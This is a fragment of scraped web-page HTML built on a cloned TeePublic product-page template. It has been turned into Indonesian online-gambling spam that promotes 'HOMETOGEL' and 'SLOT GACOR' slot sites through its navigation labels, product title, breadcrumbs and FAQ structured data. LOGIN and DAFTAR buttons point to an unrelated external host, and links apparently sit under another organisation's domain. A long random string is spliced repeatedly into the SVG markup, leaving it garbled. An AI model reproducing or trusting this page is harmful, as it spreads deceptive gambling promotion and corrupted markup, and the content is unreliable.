yankees&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;super furry animals&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;one lonely beastie i be&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;dismember band&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;bluey lions&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;revenge of the ninja&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;silence ofthe lambs dog&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;dia de los muertos sugar skull&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;don&#39;t tell mom the babysitter&#39;s dead&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;siouxie and banshees&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;fraggle rock long sleeved&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;Lebaran characters&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;river city&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;retro kansas city football vintage chiefs est 1960&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;the life of an eldest daughter&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;manual transmission&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;pete rose vintage&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;light yellow tshirt with green lini g&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;international harvester&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;black cats&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;wonder twins&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;volbeat band&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;smiley&quot;,&quot;score&quot;:0.8},{&quot;result&quot;:&quot;they&#39;re coming to get you barbara&quot;,&quot;score&quot;:0.8}]" data-maxresults="6" data-animated="true" data-navigation--header-target="searchField" data-search-history="true" data-search-history-ca-show-notice="false" data-search-history-clear="
                                                                                          <span class=&quot;teepublicon teepublicon--color-orange-400 teepublicon-background--transparent&quot;>
                                                                                            <svg>
                                                                                              xmlns=&quot;http://www.w3.org/2000/svg&quot; viewbox=&quot;0 0 48 48&quot; width=&quot;16&quot; height=&quot;16&quot; focusable=&quot;false&quot; aria-hidden=&quot;true&quot;>
                                                                                              <path d=&quot;M6.88 36.879a3 3 0 1 0 4.242 4.242L24 28.243 36.879 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.88a3 3 0 1 0-4.24 4.24L19.758 24 6.879 36.879Z&quot;></path>
                                                                                            </svg>
                                                                                          </span>" data-search-history-clock="
                                                                                          <span class=&quot;teepublicon teepublicon--color-orange-400 teepublicon-background--transparent&quot;>
                                                                                            <svg viewbox=&quot;0 0 48 48&quot;
                                                                                              xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;16&quot; height=&quot;16&quot; focusable=&quot;false&quot; aria-hidden=&quot;true&quot;>
                                                                                              <path d=&quot;M5.98911 7.03107C6.17346 5.73963 7.37897 4.84085 8.6817 5.02359C9.98435 5.20633 10.8909 6.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo23.603 4C34.8311 4 44 12.918 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo4.51708 26.742 6.10979 26.2398C7.7025 25.7376 9.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.9476 24C37.9476 16.3043 31.5621 10 23.603 10C20.0968 10 16.8927 11.2244 14.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.7665 15.0122C18.9508 16.3037 18.0426 17.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo8575 8.80123 17.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo8938C5.76759 13.5741 5.76508 12.1649 5.68671 10.7906C5.59661 9.21028 5.76768 8.59659 5.98911 7.03107Z&quot;></path>
                                                                                              <path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M24 14.5047C25.6569 14.5047 27 15.8478 27 17.5047V24.8061L30.5435 26.9322C31.9642 27.7847 32.4249 29.6274 31.5725 31.0482C30.72 32.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJoquot;></path>
                                                                                            </svg>
                                                                                          </span>" autocomplete="off" spellcheck="false" autocapitalize="off" autocorrect="off" placeholder="" tabIndex="1" />
       <input type="hidden" name="search_submission_data" id="search_submission_data" class="jsAutoCompleteData" autocomplete="off" />
       <input type="hidden" name="search_location" id="search_location" value="header" autocomplete="off" />
       <input type="hidden" name="canvas" id="canvas" value="SITUS HOMETOGEL" autocomplete="off" />
       <input type="hidden" name="referred_from_merch" id="referred_from_merch" value="false" autocomplete="off" />
       <input type="hidden" name="artist_search" id="artist_search" class="jsArtistSearchData" autocomplete="off" />
       <div class='m-header__search-close hide jsClearHeaderSearch' data-controller='rudderstack--filter-clicked' data-rudderstack--filter-clicked-location-value='nav-search'>
        <button type="reset" class="btn m-header__search-close-button tp-btn--medium btn--no-background tp-btn--icon">
         <span data-action="click-&gt;rudderstack--filter-clicked#track" data-cart-id="9a8c68d58aaa0c110ea9655af8a790a4" data-filter-name="Clear Search" class="teepublicon teepublicon--dark-default teepublicon-background--transparent">
          <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="12" height="12" aria-labelledby="title">
           <path d="M6.88 36.879a3 3 0 1 0 4.242 4.242L24 28.243 36.879 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.88a3 3 0 1 0-4.24 4.24L19.758 24 6.879 36.879Z"></path>
           <title>Clear Search</title>
          </svg>
         </span>
         <div class='button__content'></div>
        </button>
       </div>
      </div>
      <button type="submit" class="btn m-header__search-submit input-group-append tp-btn--medium tp-btn--icon">
       <span class="teepublicon teepublicon--light-default teepublicon-background--transparent">
        <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" aria-labelledby="title">
         <path fill-rule="evenodd" d="M31.523 35.766a17.393 17.393 0 0 1-10.051 3.178C11.822 38.944 4 31.121 4 21.472 4 11.822 11.822 4 21.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.243 4.243l-7.355-7.355Zm1.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo.471 11.471 5.136 11.471 11.471Z" clip-rule="evenodd"></path>
         <title>Search</title>
         <desc>Enter your favorite topic or theme and click here to find it.</desc>
        </svg>
       </span>
       <div class='button__content'></div>
      </button>
     </form>
    </div>
   </div>
   </div>
   </span>
   </a>
   </div>
   </div>
   </div>
  </header>
  <div class='m-explore-nav jsExploreNav' data-controller='navigation--tray-trigger rudderstack--link-clicked rudderstack--filter-clicked' data-navigation--tray-trigger-containers--drawer-component-outlet='.jsHeaderTray' data-rudderstack--filter-clicked-location-value='nav-sub' data-rudderstack--link-clicked-location-value='nav-sub'>
   <section class="m-tab-nav m-tab-nav--init m-explore-nav__container wrapper" data-controller="utilities--tab" data-utilities--tab-initial-tab-value="0">
    <ul class='m-tab-nav__list'>
     <li class="m-tab-nav__item">
      <a data-action='click-&gt;utilities--tab#changeTab click-&gt;rudderstack--filter-clicked#track' data-cart-id='9a8c68d58aaa0c110ea9655af8a790a4' data-filter-name='Category' data-filter-option-label='Explore Categories' data-tab-nav-index='0' data-utilities--tab-target='tab'> Explore Categories </a>
     </li>
     <li class="m-tab-nav__item">
      <a data-action='click-&gt;utilities--tab#changeTab click-&gt;rudderstack--filter-clicked#track' data-cart-id='9a8c68d58aaa0c110ea9655af8a790a4' data-filter-name='Canvas' data-filter-option-label='Popular Products' data-tab-nav-index='1' data-utilities--tab-target='tab'> Popular Products </a>
     </li>
    </ul>
    <div class='m-tab-nav__content'>
     <div class="m-tab-nav__tab-content" data-utilities--tab-target="content" data-tab-content-index="0">
      <div class='m-explore-nav__tab-content'>
       </span>
       </a>
       <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Lebaran" data-href="https://entreprises-adaptees.fr/rse" title="Lebaran SITUS HOMETOGEL" href="https://entreprises-adaptees.fr/rse" class="link m-explore-nav__link link--1 link--default tp-btn--icon">
        <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
         <img src="https://imagekuart.b-cdn.net/assetsmaya/faviconmaya.png" loading="auto" height="40" width="40" aria_hidden="true" focusable="false">
        </span>
        <span class='link__content'>HOMETOGEL</span>
       </a>
       <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Music" data-href="https://entreprises-adaptees.fr/rse" title="Music SITUS HOMETOGEL" href="https://entreprises-adaptees.fr/rse" class="link m-explore-nav__link link--1 link--default tp-btn--icon">
        <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
         <img src="https://imagekuart.b-cdn.net/assetsmaya/faviconmaya.png" loading="auto" height="40" width="40" aria_hidden="true" focusable="false">
        </span>
        <span class='link__content'>SLOT GACOR</span>
       </a>
       <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Sports" data-href="https://entreprises-adaptees.fr/rse" title="Sport SITUS HOMETOGEL" href="https://entreprises-adaptees.fr/rse" class="link m-explore-nav__link link--1 link--default tp-btn--icon">
        <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
         <img src="https://imagekuart.b-cdn.net/assetsmaya/faviconmaya.png" loading="auto" height="40" width="40" aria_hidden="true" focusable="false">
        </span>
        <span class='link__content'>SLOT GACOR 2026</span>
       </a>
       <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Movies" data-href="https://entreprises-adaptees.fr/rse" title="Movie SITUS HOMETOGEL" href="https://entreprises-adaptees.fr/rse" class="link m-explore-nav__link link--1 link--default tp-btn--icon">
        <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
         <img src="https://imagekuart.b-cdn.net/assetsmaya/faviconmaya.png" loading="auto" height="40" width="40" aria_hidden="true" focusable="false">
        </span>
        <span class='link__content'>LINK SLOT GACOR</span>
       </a>
       <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Vintage" data-href="https://entreprises-adaptees.fr/rse" title="Vintage SITUS HOMETOGEL" href="https://entreprises-adaptees.fr/rse" class="link m-explore-nav__link link--1 link--default tp-btn--icon">
        <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
         <img src="https://imagekuart.b-cdn.net/assetsmaya/faviconmaya.png" loading="auto" height="40" width="40" aria_hidden="true" focusable="false">
        </span>
        <span class='link__content'>KAISAR 328</span>
       </a>
       <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Animals" data-href="https://entreprises-adaptees.fr/rse" title="Animal SITUS HOMETOGEL" href="https://entreprises-adaptees.fr/rse" class="link m-explore-nav__link link--1 link--default tp-btn--icon">
        <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
         <img src="https://imagekuart.b-cdn.net/assetsmaya/faviconmaya.png" loading="auto" height="40" width="40" aria_hidden="true" focusable="false">
        </span>
        <span class='link__content'>SLOT ONLINE</span>
       </a>
       <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Television" data-href="https://entreprises-adaptees.fr/rse" title="Television SITUS HOMETOGEL" href="https://entreprises-adaptees.fr/rse" class="link m-explore-nav__link link--1 link--default tp-btn--icon">
        <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
         <img src="https://imagekuart.b-cdn.net/assetsmaya/faviconmaya.png" loading="auto" height="40" width="40" aria_hidden="true" focusable="false">
        </span>
        <span class='link__content'>SLOT GACOR HARI INI</span>
       </a>
       <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Funny" data-href="https://entreprises-adaptees.fr/rse" title="Funny SITUS HOMETOGEL" href="https://entreprises-adaptees.fr/rse" class="link m-explore-nav__link link--1 link--default tp-btn--icon">
        <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
         <img src="https://imagekuart.b-cdn.net/assetsmaya/faviconmaya.png" loading="auto" height="40" width="40" aria_hidden="true" focusable="false">
        </span>
        <span class='link__content'>SLOT JACKPOT</span>
       </a>
      </div>
     </div>
     </a>
    </div>
  </div>
  </div>
  <style>
    .vc-header-logo {
    display: -webkit-flex;
    display: flex;
    -webkit-align-items: center;
    gap: 12px;
    justify-content: space-between;
    align-items: center;
}
   /* Container tombol */
   .n-columns-2 {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: 15px;
    font-weight: 700;
    margin: 0 auto;
   }

   .n-columns-2 a {
    text-align: center;
    margin: 0;
    text-decoration: none;
    transition: all 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275);
    position: relative;
    overflow: hidden;
   }

   .login,
   .register {
    color: #ffffff;
    padding: 16px 10px;
    letter-spacing: 1px;
    font-size: 18px;
    text-transform: uppercase;
   }

   /* Efek kilau untuk kedua tombol */
   .login::after,
   .register::after {
    content: '';
    position: absolute;
    top: -50%;
    left: -50%;
    width: 200%;
    height: 200%;
    background: linear-gradient(
        135deg,
        rgba(255, 255, 255, 0) 0%,
        rgba(255, 255, 255, 0.2) 25%,
        rgba(255, 255, 255, 0) 50%
    );
    transform: translateX(-100%) translateY(-100%) rotate(45deg);
    transition: transform 0.6s ease;
    pointer-events: none;
   }

   .login:hover::after,
   .register:hover::after {
    transform: translateX(100%) translateY(100%) rotate(45deg);
   }

   /* Tombol LOGIN - Yellow Chrome Glossy Premium */
   .login,
   .login-button {
    text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.5);
    border-radius: 12px;
    border: 2px solid rgba(255, 215, 0, 0.3);
    box-shadow: 
        0 4px 0 #b80b0b,
        0 8px 15px rgba(0, 0, 0, 0.3),
        inset 0 1px 2px rgba(255, 255, 255, 0.5);
    background: linear-gradient(180deg, 
        #ff5c5c 0%,
        #ff0000 30%,
        #ff0000 70%,
        #da2020 100%);
    color: #fff;
    position: relative;
   }

   /* Efek highlight atas untuk efek chrome */
   .login::before {
    content: '';
    position: absolute;
    top: 2px;
    left: 5%;
    width: 90%;
    height: 30%;
    background: linear-gradient(180deg, 
        rgba(255, 255, 255, 0.6) 0%,
        rgba(255, 255, 255, 0.2) 50%,
        rgba(255, 255, 255, 0) 100%);
    border-radius: 10px 10px 0 0;
    pointer-events: none;
   }

   .login:hover {
    background: linear-gradient(180deg, 
        #ffa0a0 0%,
        #ff5c5c 30%,
        #ff2525 70%,
        #DAA520 100%);
    border-color: rgba(255, 215, 0, 0.6);
    box-shadow: 
        0 6px 0 #b8860b,
        0 12px 20px rgba(0, 0, 0, 0.4),
        inset 0 1px 3px rgba(255, 255, 255, 0.8);
    transform: translateY(-2px);
    color: white;
   }

   .login:active {
    transform: translateY(2px);
    box-shadow: 
        0 2px 0 #b8860b,
        0 5px 12px rgba(0, 0, 0, 0.3);
   }

   /* Tombol REGISTER - Dark Chrome Premium */
   .register,
   .register-button {
    text-shadow: 2px 2px 4px rgb(235, 7, 7);
    border-radius: 12px;
    border: 2px solid rgb(192, 192, 192);
    box-shadow: 
        0 4px 0 #e90202,
        0 8px 15px rgb(235, 7, 7),
        inset 0 1px 2px rgba(255, 255, 255, 0.3);
    background: linear-gradient(180deg, 
        #5A5A5A 0%,
        #3A3A3A 30%,
        #1A1A1A 70%,
        #0A0A0A 100%);
    color: #fff;
    position: relative;
   }

   /* Efek highlight atas untuk efek dark chrome */
   .register::before {
    content: '';
    position: absolute;
    top: 2px;
    left: 5%;
    width: 90%;
    height: 30%;
    background: linear-gradient(180deg, 
        rgba(255, 255, 255, 0.4) 0%,
        rgba(255, 255, 255, 0.1) 50%,
        rgba(255, 255, 255, 0) 100%);
    border-radius: 10px 10px 0 0;
    pointer-events: none;
   }

   .register:hover {
    background: linear-gradient(180deg, 
        #707070 0%,
        #505050 30%,
        #303030 70%,
        #202020 100%);
    border-color: rgba(255, 255, 255, 0.2);
    box-shadow: 
        0 6px 0 #e90202,
        0 12px 20px rgba(0, 0, 0, 0.5),
        inset 0 1px 3px rgba(255, 255, 255, 0.4);
    transform: translateY(-2px);
    color: gold;
   }

   .register:active {
    transform: translateY(2px);
    box-shadow: 
        0 2px 0 #e90202,
        0 5px 12px rgba(0, 0, 0, 0.3);
   }

   /* Efek hover untuk interaksi */
   .login:hover, .register:hover {
    opacity: 1;
    filter: brightness(1.1);
   }

   /* Efek ikon panah kecil (opsional) */
   .login span, .register span {
    display: inline-block;
    transition: transform 0.3s ease;
   }

   .login:hover span, .register:hover span {
    transform: translateX(5px);
   }

   /* Responsif untuk mobile */
   @media (max-width: 480px) {
    .n-columns-2 {
        gap: 10px;
    }
    
    .login, .register {
        padding: 14px 8px;
        font-size: 16px;
    }
   }
</style>
  <!-- Section 2 -->
  <div class="section-2-container section-container section-container-gray-bg">
   <div class="container mt-1 pt-1">
    <div class="col-12">
     <div class="w-100 mt-4 mb-4 text-center">
      <div class="n-columns-2">
       <a href="https://entreprises-adaptees.dunia-cerah.world/rse/" rel="nofollow noreferrer" class="login">LOGIN</a>
       <a href="https://entreprises-adaptees.dunia-cerah.world/rse/" rel="nofollow noreferrer" class="register">DAFTAR</a>
      </div>
     </div>
    </div>
    </section>
   </div>
   <form id="applepay_form" action="/checkout/applepay" accept-charset="UTF-8" method="post">
    <input type="hidden" name="authenticity_token" value="ftcZb-GKSUWKuED9ZAdlP17f-deDvqmS8t2HWzuG-k2-1-JtQKQigwmLNRgaLuomTN0ZPG3x71D-NcYA6_TJhA" autocomplete="off" />
    <input type="hidden" name="applepay_nonce" id="applepay_nonce" autocomplete="off" />
    <input type="hidden" name="applepay_address" id="applepay_address" autocomplete="off" />
    <input type="hidden" name="applepay_shipping" id="applepay_shipping" autocomplete="off" />
    <input type="hidden" name="checkout[payment_option]" id="checkout_payment_option" value="ApplePay" autocomplete="off" />
   </form>
   <div class='main-wrapper overflow-hidden'>
    <div id='site'>
     <div id='fb-root'></div>
     <noscript>
      <div class='no-js-warning'> You have Javascript disabled. Javascript is required for this site to function properly. Please enable Javascript and return here. </div>
     </noscript>
     <div id='content'>
      <div class='flash x'></div>
    
<script type="application/ld+json">
{
  "@context": "https://schema.org",
  "@type": "FAQPage",
  "mainEntity": [
    {
      "@type": "Question",
      "name": "Apa yang dimaksud dengan HOMETOGEL?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "HOMETOGEL merupakan halaman informasi yang membahas berbagai referensi mengenai situs slot, pembaruan layanan, serta informasi yang berkaitan dengan permainan slot online agar pembaca dapat memperoleh gambaran sebelum memilih platform yang sesuai."
      }
    },
    {
      "@type": "Question",
      "name": "Apa arti istilah slot gacor?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Istilah slot gacor adalah sebutan yang umum digunakan oleh komunitas pemain untuk menggambarkan permainan yang dianggap sedang memberikan hasil yang lebih sering. Namun, istilah ini bukan merupakan jaminan kemenangan karena setiap permainan memiliki mekanisme dan hasil yang berbeda."
      }
    },
    {
      "@type": "Question",
      "name": "Mengapa banyak pengguna mencari daftar 10 situs slot gacor?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Daftar tersebut biasanya digunakan sebagai referensi untuk membandingkan fitur platform, variasi permainan, metode transaksi, kualitas layanan pelanggan, serta kemudahan akses dari berbagai perangkat."
      }
    },
    {
      "@type": "Question",
      "name": "Apakah informasi slot gacor hari ini dapat menjamin jackpot atau maxwin?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Tidak. Informasi yang tersedia hanya bersifat referensi. Hasil setiap permainan dipengaruhi oleh mekanisme permainan yang digunakan dan tidak ada informasi yang dapat menjamin seseorang akan memperoleh jackpot atau maxwin."
      }
    },
    {
      "@type": "Question",
      "name": "Apa yang perlu diperhatikan sebelum memilih platform permainan?",
      "acceptedAnswer": {
        "@type": "Answer",
        "text": "Sebelum menggunakan suatu platform, sebaiknya periksa reputasi layanan, keamanan akun, ketentuan penggunaan, metode transaksi yang tersedia, kualitas layanan pelanggan, serta pastikan platform tersebut sesuai dengan peraturan yang berlaku di wilayah tempat Anda berada."
      }
    }
  ]
}
</script>
<script type="application/ld+json">
 {
  "@context": "https://schema.org",
  "@type": "BreadcrumbList",
  "itemListElement": [{
   "@type": "ListItem",
   "position": 1,
   "name": "HOMETOGEL",
   "item": "https://entreprises-adaptees.fr/rse"
  }, {
   "@type": "ListItem",
   "position": 2,
   "name": "SLOT GACOR",
   "item": "https://entreprises-adaptees.fr/rse"
  }, {
   "@type": "ListItem",
   "position": 3,
   "name": "SLOT GACOR 2026",
   "item": "https://entreprises-adaptees.fr/rse"
  }, {
   "@type": "ListItem",
   "position": 4,
   "name": "SITUS SLOT GACOR",
   "item": "https://entreprises-adaptees.fr/rse"
  }, {
   "@type": "ListItem",
   "position": 5,
   "name": "LINK SLOT GACOR",
   "item": "https://entreprises-adaptees.fr/rse"
  }]
 }
</script>
      <div class='jsDesignSecretId m-design__secret-id hidden'> Design ID: 74165272 </div>
      <div class='jsDesignId' style='display: none;'>74165272</div>
      <div class='jsCanvasId' style='display: none;'>1</div>
      <div class='jsDesignOnSale' style='display: none;'>false</div>
      <div class='jsSizeChartCanvasId' style='display:none;'>1</div>
      <div class='m-design jsPdpDesign'>
       <div class='contain contain--wide-3'>
        <div class='m-design__content'>
         <div class='m-design__product' data-controller='rudderstack--link-clicked' data-rudderstack--link-clicked-location-value='pdp'>
          <div class='m-design-details__title'>
           <h1 class='h__h1--sm h--no-s-b' title='George Kittle F Dallas Kittle - George Kittle - SITUS HOMETOGEL'>HOMETOGEL Bedah Maxwin Lobi x entreprises-adaptees - Peta Scan Login Stabil malam ini</h1>
           <div class='m-design__prices'>
            <span class='m-design__price m-design__price--sale jsProductSalePrice'> $3 </span>
            <span class='m-design__price m-design__price--regular jsProductRegularPrice'> IDR 77.000 </span>
           </div>
          </div>
          <div class='m-design__preview'>
           <div class='m-product-preview' data-controller='rudderstack--filter-clicked' data-rudderstack--filter-clicked-location-value='product_preview'>
            <div class='m-design__admin-tools'>
             <div class='m-design__favorite-button-container' data-controller='rudderstack--filter-clicked design-tile--favorite' data-design-tile--favorite-add-icon-path-value='https://assets.teepublic.com/assets/teepublicons/heart_outline_primary500-aca86b959a2c54c785eda99a573d6d36c710e4020198f005b663335568299452.svg' data-design-tile--favorite-remove-icon-path-value='https://assets.teepublic.com/assets/teepublicons/heart_filled_danger500-e771e023bff5a3a668324db08daf887281d612a4d9e70d5e084c1a9052129bff.svg' data-rudderstack--filter-clicked-account-type-value='guest' data-rudderstack--filter-clicked-location-value='product_preview'>
              <button type="button" class="btn tp-favorite-button tp-favorite-button--inactive tp-btn--medium btn--white" data-action="click-&gt;rudderstack--filter-clicked#track click-&gt;design-tile--favorite#redirectSignUpPage touchstart-&gt;design-tile--favorite#handleTouch mouseenter-&gt;utilities--tooltip#show mouseleave-&gt;utilities--tooltip#hide" data-cart-id="9a8c68d58aaa0c110ea9655af8a790a4" data-filter-name="heart_icon" data-filter-option-label="add_to_favorites" data-controller="utilities--tooltip" data-utilities--tooltip-target="element" data-utilities--tooltip-placement-value="left" data-button-action="add" data-design-id="74165272" data-product-id="357" data-redirect-route="/users/sign_up">
               <div class='button__content'>
                <div class="tp-tooltip tp-favorite-button__tooltip" data-utilities--tooltip-target="tooltip" role="tooltip">Create an account to favorite this design! <div class='tp-tooltip--arrow' data-popper-arrow=''></div>
                </div>
               </div>
              </button>
             </div>
            </div>
            <div class='m-product-preview__main jsProductMainImages'>
             <div class='m-product-preview__gallery'>
              <div class='glide m-product-preview__glider jsProductImgGlide'>
               <div class='m-product-preview__back-flag' style='display: none;'>
                <div class='jsProductPreviewImgLabel'> Back </div>
               </div>
               <div class='glide__track m-product-preview__glider-track' data-glide-el='track'>
                <ul class='glide__slides'>
                 <li class='glide__slide m-product-preview__glider-slide' data-default='active' data-id='0' data-label=''>
                  <picture class='m-product-preview__glider-img'>
                   <img alt='HOMETOGEL Bedah Maxwin Lobi x entreprises-adaptees - Peta Scan Login Stabil malam ini' class='mockup jsProductMainImage' src='https://cdn.image-ku.art/imageku/f14d719f-9c10-4501-a6c0-25df634ec3f1.png'>
                  </picture>
                 </li>
                 <li class='glide__slide m-product-preview__glider-slide' data-default='' data-id='1' data-label=''>
                  <picture class='m-product-preview__glider-img'>
                   <img alt='HOMETOGEL Bedah Maxwin Lobi x entreprises-adaptees - Peta Scan Login Stabil malam ini' class='preview jsProductMainImage' src='https://cdn.image-ku.art/imageku/f14d719f-9c10-4501-a6c0-25df634ec3f1.png'>
                  </picture>
                 </li>
                </ul>
               </div>
               <div class='glide__arrows'>
                <button type="button" class="btn glide__arrow m-product-preview__glider-ctrl next jsGalleryGlideArrowNext tp-btn--medium" aria-label="Next Image" data-action="click-&gt;rudderstack--filter-clicked#track" data-cart-id="9a8c68d58aaa0c110ea9655af8a790a4" data-filter-name="next" tabindex="0">
                 <div class='button__content'></div>
                </button>
                <button type="button" class="btn glide__arrow m-product-preview__glider-ctrl prev jsGalleryGlideArrowPrev tp-btn--medium" aria-label="Previous Image" data-action="click-&gt;rudderstack--filter-clicked#track" data-cart-id="9a8c68d58aaa0c110ea9655af8a790a4" data-filter-name="previous" tabindex="0">
                 <div class='button__content'></div>
               </div>
              </div>
              <div class='m-product-preview__thumbs jsProductPreviewThumbs jsProductImgGlideCtrls' data-glide-el='controls'>
               <a data-id="0" href="https://entreprises-adaptees.fr/rse" class="link m-product-preview__thumb jsProductPreviewThumb jsCtrl on">
                <span class='link__content'>
                 <picture data-action='click-&gt;rudderstack--filter-clicked#track' data-cart-id='9a8c68d58aaa0c110ea9655af8a790a4' data-filter-name='thumbnail' data-glide-dir='0'>
                  <img alt='HOMETOGEL Bedah Maxwin Lobi x entreprises-adaptees - Peta Scan Login Stabil malam ini' class='mockup' loading='lazy' src='https://cdn.image-ku.art/imageku/f14d719f-9c10-4501-a6c0-25df634ec3f1.png'>
                 </picture>
                </span>
               </a>
               <a data-id="1" href="https://entreprises-adaptees.fr/rse" class="link m-product-preview__thumb jsProductPreviewThumb jsCtrl">
                <span class='link__content'>
                 <picture data-action='click-&gt;rudderstack--filter-clicked#track' data-cart-id='9a8c68d58aaa0c110ea9655af8a790a4' data-filter-name='thumbnail' data-glide-dir='1'>
                  <img alt='HOMETOGEL Bedah Maxwin Lobi x entreprises-adaptees - Peta Scan Login Stabil malam ini' class='preview' loading='lazy' src='https://cdn.image-ku.art/imageku/f14d719f-9c10-4501-a6c0-25df634ec3f1.png'>
                 </picture>
                </span>
               </a>
              </div>
             </div>
            </div>
           </div>
          </div>
          <div class='m-design__options' data-controller='rudderstack--checkout-clicked rudderstack--link-clicked' data-rudderstack--checkout-clicked-cart-id-value='9a8c68d58aaa0c110ea9655af8a790a4' data-rudderstack--checkout-clicked-currency-code-value='USD' data-rudderstack--checkout-clicked-discount-usd-value='0.0' data-rudderstack--checkout-clicked-location-value='pdp' data-rudderstack--checkout-clicked-on-sale-savings-usd-value='0.0' data-rudderstack--checkout-clicked-product-revenue-usd-value='0.0' data-rudderstack--checkout-clicked-products-value='[]' data-rudderstack--checkout-clicked-request-action-value='show' data-rudderstack--checkout-clicked-request-controller-value='product_pages' data-rudderstack--link-clicked-location-value='pdp'>
           <div class='m-design__cart-config'>
            <form action='/add_to_cart' class='m-cart-config jsConfigOptions jsConfigForm' method='POST'>
             <div class='m-cart-config__option m-cart-config__option--color jsCartConfigColorOption' data-action='change-&gt;rudderstack--filter-clicked#track' data-cart-id='9a8c68d58aaa0c110ea9655af8a790a4' data-controller='rudderstack--filter-clicked' data-filter-name='color' data-rudderstack--filter-clicked-location-value='product_attributes'>
              <p class='m-cart-config__color-label'>
               <strong></strong>
               <span class='m-cart-config__color-name jsConfigColorName'>SLOT GACOR 2026</span>
              </p>
              <div class='m-cart-config__colors2 jsCartConfigColors jsHorizontalScroll' role='radiogroup'></div>
             </div>
             <div class='m-cart-config__option radio-selector' data-action='change-&gt;rudderstack--filter-clicked#track' data-cart-id='9a8c68d58aaa0c110ea9655af8a790a4' data-controller='rudderstack--filter-clicked' data-filter-name='gender' data-rudderstack--filter-clicked-location-value='product_attributes'>
              <div class='m-cart-config__select-label'></div>
              <div class="n-columns-2" bis_skin_checked="1">
       <a href="https://entreprises-adaptees.dunia-cerah.world/rse/" rel="nofollow noreferrer" class="login">LOGIN</a>
